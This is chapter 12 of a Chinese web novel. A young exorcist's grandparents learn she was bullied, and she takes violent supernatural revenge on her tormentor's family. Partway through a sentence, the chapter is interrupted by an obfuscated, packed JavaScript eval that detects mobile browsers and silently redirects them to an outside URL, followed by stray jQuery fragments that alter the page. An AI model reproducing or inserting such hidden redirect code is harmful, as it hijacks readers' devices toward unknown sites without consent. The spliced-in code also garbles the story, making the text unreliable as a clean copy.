12. 第 12 章

作品:《嘴毒天师创飞一切

    洛奶奶眼泪汪汪的看着眼前乖乖巧巧的孙女,都这么大了,她这个奶奶都没好好看过几回,现在想想,真不如当初她和老头子态度强硬点带走孙女。


    造孽啊,真是造孽。


    “你们俩都丧良心!瞅瞅多好的闺女,现在都还在惦记你们两个不要脸的爹妈,还在给你们开脱!”洛爷爷指着洛鸣意鼻尖骂。


    他恨不得再上前给洛鸣意一巴掌。


    洛鸣意和施凤栖张了张嘴,最终还是没说出什么来。


    洛宛童没看两人,两个老人年龄不小了,今天又是骂人又是打人,气成这样,再气出病来。


    她伸出一只手,僵硬的拍拍洛奶奶的肩膀,生硬的哄:“爷,奶,别生气,气大伤身。”


    洛奶奶眼眶里一直含着的眼泪一下就冒出来了,“童童啊,都怪我和你爷爷没教好你爸爸,让你受大罪了,奶对不起你,都是奶不好。”


    “童童别怕,我和你奶为你做主,不用替你钻钱眼里的爸妈担心,现在他俩已经完全被金钱腐蚀,根本不配成为咱社会主义接班人。”洛爷爷是老党员,平生最为自己的身份骄傲,结果老了老了,让亲生儿子在他红彤彤的心脏上滴了墨。


    洛宛童十分麻爪,她一点安慰人的经验都没有啊。


    她最经常看到哭的人是经过她深情教诲后发自内心忏悔以至痛哭流涕的邪门歪道们。


    而他们是不需要的安慰的,唯一需要的是大逼斗,实在嫌哭的烦,还能上前给两巴掌。


    但她总不能给她奶奶两巴掌吧。


    老太太哭的稀里哗啦,不知道如何安慰的洛宛童果断决定转移话题,“爷,奶,不报警是我的决定。”


    洛爷爷洛奶奶没当回事,在俩人心里,洛宛童还是那个反应有些迟钝的孙女,报不报警的,还不是家里大人怎么说她怎么想。


    洛奶奶的怜爱的摸摸洛宛童的头,恨声道:“童童,你别怕,爷奶来了,爷奶为你讨公道,哪怕拼了我和你爷爷的老命,也会让那群小兔崽子得到报应!”


    洛鸣意也十分麻爪,眼瞅着自己要变成父母眼中十恶不赦的坏蛋,偏偏他还无从辩解。


    兜里的手机一直在震动,但洛鸣意没有心思去看是谁打过来的电话。


    他和站军姿一样站着,只能眼巴巴瞅着祖孙三人。


    施凤栖同样很忙,她最近一直忙着设计下一季的新款和马上上市的冬季衣服,方方面面都要她把关。


    但忽然此刻她心里卸了股拼劲儿,摸着胸口挂着的平安符,心里五味杂陈。


    她知道洛爷爷洛奶奶怨怪上她了,虽然洛爷爷洛奶奶没怎么指责她,但骂丈夫的每一句话又何尝不是在表达对她的不满。


    洛爷爷担心洛奶奶哭岔气,扶着她,拉着洛宛童要坐下,问洛宛童:“童童,你告诉爷爷奶奶欺负你的都是谁?”


    洛奶奶一听,抹干眼泪不哭了,“对,是谁,告诉爷爷奶奶奶。”


    他们两个过来最开始是因为好久没看到孙女,想着最近正好有空,说走便走,来的突然就没有打招呼。


    结果到地,看到儿子家的张阿姨和别家的保姆聊天,当时有点距离,张阿姨没有注意到他俩。


    但好歹干了三四年的住家保姆,他俩自然认识张阿姨,每回过来张阿姨都忙前忙后,是个挺好的人。


    要不是孙女身边有个这样靠谱的保姆照顾生活,俩人也不可能放心把孙女留给工作狂的儿子儿媳。


    谁知俩人还没靠近呢,便听到别家保姆问张阿姨:“你主家的孩子被人欺负成那样,主家有说法没?要换是我家的孩子,哪怕拼了我和我那口子命,也要闹出个一二三来,有钱怎么了,有权怎么了,咱们普通人的命不是命啊!”


    老两口又不聋,脑子也没糊涂。


    张阿姨主家还能是谁?


    不就是他们儿子儿媳家嘛。


    主家的孩子是谁不就更一目了然了!


    老两口气坏了,拉着张阿姨追问个明白。


    张阿姨也为难,她都觉得自己倒霉。


    她不是一个多嘴多舌的人,也不爱和别人聊自己主家的事,爱扯闲话的保姆哪个主家都不会要。


    谁知道今天怎么那么倒霉,买完菜回来,正好撞上邻居家的保姆,因为两家离得近,有时候她们会一起结伴去买菜,一来二去能聊上几句话。


    申扈市富人圈子说大不大,说小不小,洛宛童遭受霸凌的事情哪怕一开始不知道,现在该知道的也都知道了。主家知道了,住家保姆想不知道也难。


    再加上前几天呼啦啦一堆人围在云栖竹境,更是议论纷纷,张阿姨都遇上好几回问她这事的人,她都成心躲着了,还是没躲掉。


    最倒霉的是正巧让主家的两老口撞上,她都没处申冤。


    她真不是一个爱说闲话的人啊!


    但洛爷爷洛奶奶逼问,她能咋办,只能捡着自己知道的事情说一说。


    洛宛童说:“爷爷,奶奶,我不让报警不是因为害怕。”


    “而是因为那群王八蛋我亲自动手了。”


    洛爷爷唬一跳,赶紧说:“童童,可不能冲动,为那群王八蛋搭上自己不值得。”


    洛宛童:“我又不傻,我报复的手段哪怕报警都抓不到把柄。”


    洛奶奶仔细观察一番洛宛童,尤其注意看洛宛童的眼睛,发现这一次见面孙女的眼睛不再是混沌一片,她试探性的问:“童童,你是不是……”


    洛爷爷也反应过来,对啊,以前和孙女说话,虽然不到说十句回答不了一句的程度,但肯定没有对答如流。


    洛宛童刚要张口,被洛鸣意抢先说道:“对,咱们童童好了。”


    洛爷爷洛奶奶对洛鸣意没好脸色,看都不看他一眼,只等着洛宛童说话。


    洛鸣意满心苦涩,但还是抢着解释,没办法,他担心洛宛童拿出那套“白痴、短命鬼”理论,别再给老两口吓到。


    尤其是老爷子,党员出身,对神神鬼鬼的东西一点不信。


    “爸,妈,是这样的,童童被推下楼梯后,不是磕到脑袋了嘛,咱都知道大脑是一个很神奇的地方,所以这一磕给咱童童磕好了,算是不幸中的万幸。”


    洛爷爷成不爱听这话,撅回去:“怎么,按你这样说,咱家还得感谢那群王八蛋呗?”


    洛鸣意急忙否认:“那怎么可能,我又不是脑子有病。”


    洛奶奶毒舌:“你现在的表现和脑子有病差不多!”


    洛鸣意委屈闭嘴。


    洛宛童说:“其实……”


    施凤栖大声喊:“童童!”


    洛宛童对上施凤栖恳求的眼神,垂了下眼,转而说道:“嗯,是这样,所以我脑子好了。”


    施凤栖和洛鸣意都松口气。


    洛奶奶和洛爷爷挺为自家孙女孙女高兴,自家孙女长得太好看,不是老两口护犊子,对自己孙女有滤镜,洛爷爷退休前是老师,洛奶奶退休前是儿童医生,不知道接触过多少男孩女孩,俩人敢说,没有一个长得比他们孙女好看!


    本来儿子儿媳长得便好看,孙女更是挑着俩人优点长,小小年纪便长得十分出色,等长大更不得了。


    这趟来俩人虽是看望孙女,但未尝不是担心有歹人欺负脑子迟钝的孙女。


    儿媳儿子还忙,可能都没有意识这一点。


    这个世上漂亮的小姑娘遭受的恶意太多了。


    所以来一趟看看,实在不行他俩留下来照顾孙女,退休返聘的事便推了。


    结果可好,他俩担心的一点不多余!


    孙女好了是喜事,但那群王八蛋不能放过。


    洛宛童只好说:“爷爷,奶奶,你放心,我不傻,肯定不可能放过他们。”


    没被放过的闫旭王清雅一行人非常有话要说。


    自从闫成齐被逮捕后,闫家这个庞然大物便开始摇摇欲坠。


    闫家的发家史不清白,最开始发家也不过闫成齐爷爷那辈。而人可能越缺什么越想表现什么,因此闫家有主支分支一说,最开始的分支是闫家当家人的私生子,但可能上梁不正下梁歪,也可能是一脉传承,每一个闫家男人都会搞出私生子。


    于是闫家从最开始的五六口人到现在的几十口人。


    人这么多,每个人都有小心思,更别说大多数人还不是一个妈,甚至不同爸。


    有人压着还能你好我好大家好,但一旦压着的那个人露出弱点,其他闫家人会是第一个下脚踹的人。


    每个人都想尽可能夺得最大的利益,根本没有一个人想起来去救闫成齐出来,甚至担心闫成齐判的短,还暗戳戳送上了更多关于闫成齐违法乱纪的证据。


    闫家乱成一锅粥,被接出医院的闫旭顾不上耍脾气,只能眼睁睁看着闫家其他人抢夺本属于他的利益。


    这时候哪怕他吼破喉咙都没人在意他的想法。


    闫晶恨毒了为家里带来灾难的哥哥,“都怪你!要不是因为你,咱家还好好的,咱爸还是董事长,我也不会成为这个怪模样。”


    “你个祸害,当初爸妈为什么要生你,你为什么不去死!”要不是身体折叠不方便,闫晶恨不得上去撕咬闫旭的肉。


    闫旭脸色铁青,他可不是一个好脾气的人,甚至可以说性情乖张,对闫晶骂的话,他杵着拐杖,高高抬起。


    王雅琼眼角撇到拐杖消失,深知闫旭脾性的她急忙喊:“小旭,你冷静点,现在不能再出事了。”


    一边喊闫旭,一边拽闫晶,示意她少说点。


    闫晶愤愤不平的住嘴,闫旭可不是一个好哥哥,往常兄妹俩发生矛盾,闫旭动起手一点不会留情,好似他打的不是自己亲妹妹,而是有深仇大恨的敌人。


    以前她打不过还能跑,父母也能拦一拦,而且一般她不太敢惹疯子一样的哥哥,要不是现在的处境太惨,她也不至于情绪失控,尤其她这个样子,连躲都不好躲。


    闫晶心中愈发愤恨,恨不得拿把刀捅死闫旭,本来就感情不深,现在更是成仇人。


    王雅琼心中又如何不恼恨闫旭。


    往常更偏爱儿子,是因为生了闫旭,她的地位才彻底坐稳,而且闫家的一切只有闫旭能继承,她将来的荣华富贵只能指望着闫旭。


    可现在,什么都成泡影。


    闫家的豺狼虎豹绝对会吞吃殆尽一切。


    要不是还有理智拽着她,她早像闫晶似的对闫旭破口大骂了。


    可正是有丝丝理智,她才制止俩兄妹相互打架,她拽着闫旭,“闫旭,咱们家现在成这个样子,都是叫洛宛童的小贱人搞的鬼,唯一的办法就是去找她,只要找她,咱们家才能恢复正常。”


    听到洛宛童的名字,闫旭眼中闪过狠意,事到如今,要说没有后悔是假的,但在洛宛童去医院接二连三的殴打后,他的后悔变成了当初洛宛童摔下楼梯时直接摔死多好,或者当初直接下狠手送洛宛童去死多好。


    闫旭冷声问:“妈,你是要我去求洛宛童吗?”


    王雅琼一滞,想点头,但又知道闫旭必定不愿意。


    闫晶仗着闫旭看不到,撇嘴,无声的骂骂咧咧。


    要是有能力,她恨不得压着闫旭去给洛宛童磕头道歉,只要能还回来她风光无限的闫家千金日子,闫旭多磕几个头又能如何?


    真恨,等闫家恢复如常,你再偷偷报复呗。还闫家大少爷呢,一点都不为闫家着想。


    洛宛童正巧这时候进来,她穿着一身繁复的黑色玫瑰连衣裙,头发被仔仔细细盘在脑后,形成一个层层叠叠的花苞,露出她饱满的额头,如果有相术出众之人看到她的面相,绝对会感叹:真是绝好的面相啊!


    洛宛童穿着的小皮鞋随着她迈步,发出“哒哒”的声音,让客厅的母子三人注意到她。


    闫旭大惊失色:“洛宛童,你竟然敢来这?”


    王雅琼和闫晶这才知道来人是洛宛童。


    母女俩同样吃惊。


    要知道现在他们可还住在闫家老宅,虽然因为闫成齐出事,老宅里的佣人心思纷飞,不大听话了,但绝不是一个外人无声无息可以闯入的。


    洛宛童身后跟着穿蓝色衣服的小红小绿,她背着手,溜溜达达的在大厅逛,走到哪,哪摆放的东西便往下掉,不论是摆设还是果盘,哪怕是固定在墙上的灯饰都往下掉,摔得稀里哗啦、粉身碎骨。


    闫旭看到小红小绿便浑身疼,两个纸人没有灵智,可不懂手下留情,也不会累,洛宛童吩咐他们打多长时间,他们便老老实实揍多长时间。


    闫旭身上的青黑至少有一半是他俩打的。


    噼里啪啦的声音让王雅琼心慌,她慌乱无措的叫闫旭:“小旭,这是咋了?啥东西摔了?”


    闫晶挤到王雅琼身边,明显来者不善,她不想挨打。


    闫旭没有管王雅琼,他瞪着洛宛童,恶狠狠的说:“洛宛童你以为这样就能打垮我了吗?别让我抓到机会,要不然我一定不会放过你!”


    闫晶大喊:“闫旭你个傻逼!让你认错,你干嘛呢!咱家都成这样了,你放什么狠话!你还想不想让咱爸出来了,你真想当乞丐啊!做人别那么自私。”


    洛宛童赞同的点头,“闫旭,你真的应该学学你妹妹,什么叫识时务。”


    闫旭冷笑,“我没闫晶那么蠢,现在还看不清情况,咱们明显已经不死不休,你不会放过我,我又何必说软话。”


    洛宛童伸出右手,晃晃食指,“万一呢,你先说说看。”


    闫晶又想说话,被王雅琼眼疾手快的捂住嘴,她和闫旭一个看法,认为洛宛童不会那么轻易放过他们闫家。


    闫旭不张口,洛宛童催促:“说啊,试试看。”


    闫旭还是不张口,洛宛童摊手,“看来你的尊严比闫家更重要。”


    闫晶用力撕开王雅琼的手,喊道:“不是这样,我替我哥向你道歉。”


    反正是替闫旭道歉,管他死不死活不活,闫晶用力回想道歉应该怎么说,忽然想起之前在学校里那些碰坏她衣服、鞋子的小婊子们经常向她道歉。


    她灵机一动,说:“都是我哥的错,他……啊!”


    闫旭的拐杖飞出,重重砸到闫晶的背上,同时打断闫晶的话。


    闫旭脸色铁青,“闫晶你给我闭嘴!”


    闫晶如何愿意听,现在家里成这个样子就是因为闫旭,闫旭不仅不反省,还打她,是不是太过分了,“闫旭你个废物,你……”


    闫旭大喊:“你给我闭嘴!”


    喊完,闫旭的额头的汗都冒了出来,他杵着拐杖的原因之一是他左脚崴了,无法落地,刚刚用力大声喊,一不小心脚用了力。


    洛宛童非常满意眼前看到兄妹反目的戏码,她鼓鼓掌,“这出戏非常好,我看的很满意,不过没有赏金。”


    闫旭咬牙,现在的他好似浑身被剥离的一干二净被人扔到大街上,周围人指指点点、议论纷纷,什么尊严、脸面统统丧失,偏偏他无法堵住每一张嘴巴。


    是的,无能为力便是他唯一的想法。


    “疼吧?”打量着闫旭仍旧看不清五官的脸,洛宛童状若好奇的问。


    鼻青脸肿,淤青摞淤青,王雅琼但凡能看到闫旭的脸,都不敢认这是自己儿子。


    闫旭没有回答,他肯定洛宛童问的这个问题没安好心。


    洛宛童当然不是在关心闫旭,“疼就对了,我这个人非常记仇,还小心眼,一日不报仇,睡觉都睡不踏实,谁伤我一根毫毛,我能让对方成光头!”


    “瞅瞅你现在这幅丧家之犬的模样,啧啧。”洛宛童走近几步,“好人呢都有个毛病,遇到欺负了会先内耗,反思自己是不是哪里不对,是不是做错了什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272279|166149||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么,从没有想过,有没有一种可能,他们根本没错,有问题的是那些欺负他们的人。”


    “幸好我不是好人,我从不内耗,我如果有一天反思,只会反思一个问题:是不是让敌人死的太痛快了?我太直爽,心里不能装事,一旦装事,就睡不好觉,睡不好觉就会脾气不好,脾气不好耽误正事,那为了避免引发这么多的连锁效应,我不会让自己有反思的机会。”


    洛宛童看出闫旭的迷惑,笑着说:“是不是不明白我说这么一长串的意义?”


    她“唰”的冷下脸,“意义就是做我的敌人,要有求生不能、求死不成的准备!”


    “你虽然还不配成为我的敌人,但希望你能多坚持一段时间。”


    闫旭崩溃的吼:“你到底还想怎样?”


    洛宛童冷笑:“闫旭,当初你凭着自己家世欺负别人,就该想到有一天你失去家世,任人报复。”


    洛宛童摆手,一直未动的小红小绿灵敏的开始行动,闫旭瞳孔紧缩,但他一只脚不好,跑都没办法跑。


    接下来是长达一个小时的殴打,王雅琼听着闫旭的惨叫,喊道:“洛同学,洛同学,我家小旭知道错了,你放过他吧,打人不对,万一我家要是报警,你不就得进去了嘛,咱们各退一步,行不行?”


    闫晶瑟瑟发抖,生怕洛宛童打闫旭一个不过瘾,再给她暴打一顿,王雅琼求情,她生怕被连累,几个翻滚到沙发的另一边,缩成一团,极力减小自己存在感。


    洛宛童丝毫不在意王雅琼的威胁,报警便报呗,又不是她打的人,有本事把纸人抓走。


    闫旭会看刑法书,她也会看好吧,合理规避风险,保全自己合法权益是每一个公民的权利。


    一直听着哀嚎声没什么意思,再加上一会儿要到的人,洛宛童往门口走去,在临走出时,她回头,看了看闫家富丽堂皇的客厅,转身的下一秒,闫家的客厅里所有家具、装饰、灯饰、装饰品统统爆开。


    尤其是顶上的灯,爆开的碎片划得闫晶和王雅琼遍体鳞伤,王雅琼要更严重一些,明明闫晶在灯下。


    等爆炸声停止,闫家的客厅像手榴弹炸过一样,整个一个战场遗骸,没有一个幸存的完整物品。


    闫晶在听到第一声爆声时便急忙护住自己的脸,身上的划痕涓涓流血,闫晶连骂洛宛童的勇气都没有,所有的怒火只能冲着闫旭去,恨声大喊:“打的用力点啊,还能叫这么大声,一听就没事。”


    王雅琼捂住嘴,无声哭泣。


    造孽啊,真是造孽啊!


    在洛宛童离开的半小时后,闫家佣人带着两个人进来,看到客厅的惨状,佣人尖叫一声,连踏进去看看的勇气都没有,转身迅速跑开。


    废话,都说闫成齐一家是遭人诅咒才成这样,要不人前一天好好,第二天咋成折叠人了?


    诅咒的说法在佣人间甚嚣尘上,很多人都将信将疑,大多数人都认为是闫成齐一家有传染病,但现在客厅成这样,他们这些佣人又没看到陌生人进出门,总不能说是剩下的三个人因为闫成齐被抓走,精神失常,把屋子砸成战场的吧。


    所以不赶紧跑走,等着传染诅咒吗?


    宁天华捂住口鼻,灰尘有点大,呛鼻子。


    汪连平扇扇灰,探身看了看屋子,一片静谧,不知道里面的人还活着没有。


    他踢开桌椅腿,不知道咋飞这么远,小心翼翼的趟进去,看到躺在残破沙发上的王雅琼、闫晶、闫旭三人。


    三个人一动不动,吓宁天华一跳,以为三人都没气了,“汪叔,咱报警吧,这死人了。”


    闫晶:“你说谁死了呢!”


    宁天华一激灵,“你们没死啊。”


    闫晶:“你死了,我都不会死,倒是闫旭可能死你前面。”


    宁天华都有些感动闫晶闫旭的兄妹情了,妹妹未免太惦记哥哥了吧。


    汪连平打量客厅,看不出什么痕迹,动动鼻子,也没闻到硝烟的味道,是个高手。


    他好奇的问:“你们客厅怎么成这样了?”


    闫晶张嘴便想诉苦,但又想起顶上灯爆的时候,她闭上了嘴巴,不耐烦的说:“我们三个人打架打的行了吧,问问问,问个屁的问,什么忙都帮不上,和你们说再多都是浪费口水。”


    宁天华拳头很痒,十分想揍嘴巴欠欠的闫晶,阴阳怪气的说:“现在还有口水可浪费你就庆幸吧,等过几天,你想浪费都没有机会了。”


    这一家子明显已经被那个高人盯上,折腾这么多事,他就不信那个高人能放过这一家子的命。


    闫晶凶巴巴的骂:“你是不是要吵架,TMD,虎落平阳被犬欺,滚出我家,立刻滚!”


    王雅琼也没有心力打圆场,她甚至都没有心思说话,她哭的有些虚脱,现在她满脑子都在想她下半辈子该怎么办?


    身体折成这个样子想找个下家都难找,难道她要一直这样了吗?


    闫旭则是疼昏过去了。


    汪连平笑眯眯:“小妹妹,脾气不要那么大,咱们和气生财。”


    闫晶:“和你M,你试试身子被折成这样,你要还保持着好脾气,我服你行吧。”


    汪连平说:“小妹妹,这样吧,能不能和我说一下造成你们家现在情况的人?知己知彼,我才能找到解决的办法嘛,说不定还能给你们之间做个和事佬呢。”


    闫晶本不想说,但转念一想,眼前的俩人好歹是官方的人,总有几分面子吧?


    她便把闫旭和洛宛童的事情原原本本说一遍,时不时夹杂着对闫旭的唾骂,包括他们成现在的样子也是受闫旭连累。


    回去路上,宁天华说:“汪叔,咱们现在去找那……哎,汪叔,那个高人叫什么来着?”


    汪连平刚想笑话宁天华小小年纪便记性不好,忽然“嘶”一声,坏了,他也想不起来了。


    他神情凝重的暂停车子在路边,“小华,这位高人非常不简单,能不贸然打扰便先不要去找。”


    宁天华的玄学知识储备还不太丰富,他十分迷惑。


    汪连平叮嘱:“这位高人应该是察觉到咱们念叨他的名字了,所以通过手段消除了咱们关于他的记忆,这样的手段我只是听说过,那些玄门世家的家主们都没有这个手段。”


    “现在保持冷静,不要再想那个高人。”


    都能远在千里之外消除他们的记忆,弄坏他们的脑子应该也不成问题吧。


    他还年轻,还想退休之后做个有着几万退休金的快乐老头,他的退休金不用别人代替他花。


    宁天华优点之一:听话。


    汪连平这样说,他便照着做。


    一边的高人洛宛童打散面前飘在空中的金符,非常满意汪连平的识趣,转身说:“出来吧。”


    趴在窗边的飞白和糊涂蛋这才进来。


    经过洛宛童几次的教训,两只鬼牢牢记住未经允许不得擅自飘进屋子。


    洛宛童穿着舒适的睡衣,天蓝色,上面还印有白色的小兔子,领子和裤脚带着白色蕾丝花边,是一套非常公主风的睡衣,头发被她用同色的大肠发圈随意扎住,舒服的躺在卧室沙发上,还拽过一边毛茸茸的粉色毛毯,盖住下半身。


    捧着手机,随口说:“啥事?”


    飞白叉腰,得意地说:“大佬,我找到糊涂蛋的身份了!他叫……”


    “谢安平。”洛宛童说。


    飞白一愣,“大佬你咋知道?”


    忽然飞白非常兴奋的说:“哦,我知道了,是不是大佬你算出来的,哇塞,大佬你也太厉害了吧!我对你的钦佩……”


    洛宛童举着手机给飞白看,上面是一则社会新闻:谢安平,申交大学生,2024年9月24日因救人溺亡,终年22岁。


    配图是一张白底蓝边照片,而照片里的人赫然和倒霉蛋一模一样。